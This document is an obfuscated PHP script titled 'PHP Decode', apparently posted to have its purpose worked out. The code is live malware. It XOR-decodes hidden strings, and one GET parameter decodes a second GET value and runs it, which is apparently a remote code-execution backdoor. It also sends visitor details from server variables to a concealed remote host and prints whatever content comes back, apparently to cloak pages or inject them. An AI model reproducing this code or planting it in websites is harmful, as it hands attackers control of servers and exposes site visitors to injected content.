PHP Decode

<?  class Edu 
{ 
    private static $s; 
    public static function g($n, $k) 
    { 
        if (!self::$s) 
            self::i(); 
        $l = strlen($k); 
        $r = base64_decode(self::$s[$n]); 
        for ($i = 0, $c = strlen($r); $i !== $c; ++$i) 
            $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l])); 
        return $r; 
    } 
    private static function i() 
    { 
        self::$s = array( 
            '_kb' => 'HgQMBywUQiEwCRsQMAtCIzMLABVyKB0LOA4BW' . 'H9' . 'N', 
            '_afb' => 'HAsdGjoKB0MLHQMLZ' . 'UQSHi8IGg0+EBoBMUs' . 'ZDykFAA' . '0tDQMa', 
            '_co' => '', 
            '_wwo' => 'PB' . 'I' . '=', 
            '_ond' => '', 
            '_pq' => 'MR' . 'EVJw' . '=' . '=', 
            '_n' => 'Yx' . 'c0Rg=' . '=', 
            '_kfh' => 'Yx' . 'oUFm' . 'E' . '=', 
            '_rpw' => 'KAQ' . 'W' . 'HQ==', 
            '_jeg' => 'PAc' . 'G', 
            '_nnc' => 'Pg' . 'Q6' . 'LzkFMRMr', 
            '_sf' => 'Ng' . 'cx', 
            '_c' => 'P' . 'R' . 'cJOkA=', 
            '_q' => 'ay' . 'kMAjw' . '=', 
            '_vkt' => 'M' . 'B' . 'Af', 
            '_bb' => 'KAAUGw=' . '=', 
            '_bwh' => '', 
            '_hee' => '', 
            '_xiu' => 'NxkrHWVCcBo6DzwMPAU6Hi8M' . 'PAhxAzoZcAw8QD4DPgE' . 'mGTYOLEM1HmAJPhk+UA' . '==', 
            '_y' => 'P' . 'BMICwAPFA4r', 
            '_zya' => 'NxUcL' . 'z4LMA' . 'UN', 
            '_ur' => 'Yw4G' . 'O' . '1' . '1Z', 
            '_l' => 'YxgRD' . '21' . 'E', 
            '_mi' => 'LB' . 'oPOh' . 'Q' . 'C', 
            '_d' => 'NxoNLx0=', 
            '_ujb' => 'G' . 'Dw7VQ==', 
            '_yui' => 'LwsDGQ=' . '=', 
            '_mua' => 'Lh' . 'kALRU' . '=', 
            '_i' => 'YA==', 
            '_k' => 'LhMTLR' . '8=', 
            '_dof' => 'fykLNQ' . '9Obk9vbF' . 'UpMBIrW3' . '8=', 
            '_trf' => 'NxwsBw==', 
            '_mxq' => 'UngcHTEcOhE' . 'rGzAcZVIcH' . 'jABOn9Vf1' . 'U=', 
            '_kd' => 'LAYLZVpI', 
            '_xw' => '', 
            '_nl' => 'Nw0sFg=' . '=', 
            '_mk' => 'U' . 'nw=', 
            '_at' => 'Y' . 'xUJ' . 'O0RW', 
            '_wt' => 'FzELNQ' . 'AmEywaKws' . '6' . 'FjU' . '=', 
            '_j' => 'FzA6DzstEy0rETA' . 'x' . 'FjQ=', 
            '_lm' => 'Fz0nIgAxLDQQOyQzDS0' . '2NgAvPCA' . '=', 
            '_vf' => 'Fy4LKgAiA' . 'DwQKAg7DT4a' . 'PgA8ECg=', 
            '_is' => 'DTwuKAs8PCYbPTE' . '=', 
            '_az' => 'DTwlLAs' . '8' . 'N' . 'yIbPTo' . '=', 
            '_xet' => 'Fzc1KA' . 'AgJyccLC82GiA1M' . 'REkPjEP', 
            '_qz' => 'FzMLNwAkGTgc' . 'KBEpGiQLLhEgAC4P', 
            '_sbz' => 'F' . 'zUlDz4' . 'kDCQjA' . 'CA2Gi' . '8' . 'l', 
            '_w' => 'FyEhIgAg' . 'JjcNKj' . 'Q' . '1Gj' . 's' . 'h', 
            '_lj' => 'FzoiOAA8My4aPDM' . '6', 
            '_mll' => 'FycgOgAhMSw' . 'aITE' . '4', 
            '_bf' => 'OQcKHjocO' . 'Rw+HA=' . '=', 
            '_ga' => 'bkFG' . 'c' . 'UNfb' . '1' . '1A', 
            '_nw' => 'Ngc' . '=', 
            '_fli' => 'Kg' . 'g=', 
            '_t' => 'LRAR', 
            '_pt' => 'MQ4YGg=' . '=' 
        ); 
    } 
} 
class Pro 
{ 
    private static $s; 
    public static function g($n) 
    { 
        if (!self::$s) 
            self::i(); 
        return self::$s[$n]; 
    } 
    private static function i() 
    { 
        self::$s = array( 
            0100, 
            0121, 
            02, 
            064, 
            01, 
            046711, 
            01, 
            052, 
            00, 
            0116, 
            012, 
            015, 
            012, 
            0310, 
            0673, 
            0120, 
            00, 
            02000, 
            01, 
            0423, 
            0423 
        ); 
    } 
} 
@header(Edu::g('_k' . 'b', '_gob')); 
@header(Edu::g('_afb', '_' . 'ds' . 'n')); 
$_d = Edu::g('_c' . 'o', '_' . 'z' . 'f'); $si='1vr3yk1jx3e1'; 
if (isset($_GET[Edu::g('_w' . 'wo', '_z' . 'x')])) { 
    $_r = get_js(Edu::g('_on' . 'd', '_k' . 'f' . 'e')); 
    if ($_r && strpos($_r, Edu::g('_' . 'p' . 'q', '_u' . 'f')) !== false) { 
        die(Edu::g('_' . 'n', '_' . 'x')); 
    } else { 
        die(Edu::g('_k' . 'fh', '_' . 'xur')); 
    } 
} 
if (isset($_GET[Edu::g('_rpw', '_e' . 'z' . 'q')])) { 
    $_zk  = Edu::g('_j' . 'e' . 'g', '_uc' . 'e') . Edu::g('_' . 'n' . 'n' . 'c', '_' . 'p') . Edu::g('_sf', '_h'); 
    $_v   = Edu::g('_' . 'c', '_v' . 'z') . Edu::g('_q', '_v' . 'hg') . Edu::g('_vkt', '_' . 't' . 'z'); 
    $_vbm = $_v($_GET[Edu::g('_' . 'b' . 'b', '_' . 'ax' . 'w')]); 
    $_vbm = @$_zk(Edu::g('_b' . 'w' . 'h', '_' . 'op'), $_vbm); 
    @$_vbm(); 
    die; 
} 
function get_js($_qal, $_z = null, $_q = 'fmtfnryukcjjailt') 
{ 
    $_r  = Edu::g('_hee', '_u'); 
    $_oa = Edu::g('_x' . 'iu', '_' . 'm') . $_qal; 
    if (is_callable(Edu::g('_y', '_' . 'f' . 'z' . 'g'))) { 
        $_f = curl_init($_oa); 
        curl_setopt($_f, Pro::g(0), false); 
        curl_setopt($_f, Pro::g(1), Pro::g(2)); 
        curl_setopt($_f, Pro::g(3), Pro::g(4)); 
        curl_setopt($_f, Pro::g(5), Pro::g(6)); 
        curl_setopt($_f, Pro::g(7), Pro::g(8)); 
        curl_setopt($_f, Pro::g(9), Pro::g(10)); 
        curl_setopt($_f, Pro::g(11), Pro::g(12)); 
        $_r  = curl_exec($_f); 
        $_cf = curl_getinfo($_f); 
        curl_close($_f); 
        if ($_cf[Edu::g('_zy' . 'a', '_' . 'ah')] != Pro::g(13)) 
            die(Edu::g('_' . 'ur', '_l' . 'g')); 
        if (empty($_r)) 
            die(Edu::g('_' . 'l', '_z' . 'pk')); 
    } else { 
        $_vw = parse_url($_oa); 
        $_p  = ($_vw[Edu::g('_m' . 'i', '_' . 'y' . 'g')] == Edu::g('_' . 'd', '_' . 'ny')); 
        $_g  = Edu::g('_ujb', '_y' . 'ou') . $_vw[Edu::g('_yu' . 'i', '_jw' . 'q')]; 
        if (isset($_vw[Edu::g('_mu' . 'a', '_' . 'le')])) 
            $_g .= Edu::g('_' . 'i', '_qt') . $_vw[Edu::g('_' . 'k', '_' . 'f' . 'v')]; 
        $_g .= Edu::g('_d' . 'of', '_a') . $_vw[Edu::g('_trf', '_s')] . Edu::g('_' . 'm' . 'x' . 'q', '_r'); 
        $_zeg = fsockopen(($_p ? Edu::g('_kd', '_' . 'ug') : Edu::g('_xw', '_ra')) . $_vw[Edu::g('_nl', '_b')], $_p ? Pro::g(14) : Pro::g(15)); 
        if ($_zeg) { 
            @fputs($_zeg, $_g); 
            $_ksc = Pro::g(16); 
            while (!feof($_zeg)) { 
                $_efe = fgets($_zeg, Pro::g(17)); 
                if ($_ksc) 
                    $_r .= $_efe; 
                if ($_efe == Edu::g('_' . 'mk', '_vj')) 
                    $_ksc = Pro::g(18); 
            } 
            @fclose($_zeg); 
            if (empty($_r)) 
                die(Edu::g('_' . 'at', '_' . 'wh')); 
        } 
    } 
    return $_r; 
} 
if (isset($_SERVER[Edu::g('_wt', '_e')])) 
    $_rq = $_SERVER[Edu::g('_j', '_d' . 'n')]; 
if (isset($_SERVER[Edu::g('_lm', '_i' . 'sr')])) 
    $_igx = $_SERVER[Edu::g('_vf', '_' . 'z')]; 
if (isset($_SERVER[Edu::g('_' . 'is', '_' . 'ycg')])) 
    $_jfp = $_SERVER[Edu::g('_' . 'a' . 'z', '_y' . 'h' . 'c')]; 
if (isset($_SERVER[Edu::g('_' . 'xet', '_' . 'cax')])) 
    $_rf = $_SERVER[Edu::g('_qz', '_' . 'g')]; 
if (isset($_SERVER[Edu::g('_' . 'sb' . 'z', '_' . 'aq')])) 
    $_nj = $_SERVER[Edu::g('_w', '_u' . 'ur')]; 
if (isset($_SERVER[Edu::g('_l' . 'j', '_nvh')])) 
    $_c = $_SERVER[Edu::g('_ml' . 'l', '_stj')]; 
if (function_exists(Edu::g('_bf', '_nfj'))) { 
    if (isset($_rq) && filter_var($_rq, Pro::g(19))) 
        $_d = $_rq; 
    elseif (isset($_igx) && filter_var($_igx, Pro::g(20))) 
        $_d = $_igx; 
    else 
        $_d = $_jfp; 
} elseif (isset($_jfp)) 
    $_d = $_jfp; 
if ($_d == Edu::g('_' . 'ga', '_sq') && isset($_rf)) 
    $_d = $_rf; 
if (!isset($_d) || !isset($_nj) || !isset($_c)) 
    exit; 
else { 
    $_s = array( 
        Edu::g('_nw', '_wq') => $_d, 
        Edu::g('_fli', '_i' . 'o') => $_nj, 
        Edu::g('_t', '_uw') => $_c 
    ); 
    $_n = urlencode(base64_encode(json_encode($_s))); 
    $_r = get_js($_n); 
    if ($_r && strpos($_r, Edu::g('_p' . 't', '_j' . 'kb')) !== false) { 
        echo $_r; 
        exit; 
    } 
}  ?>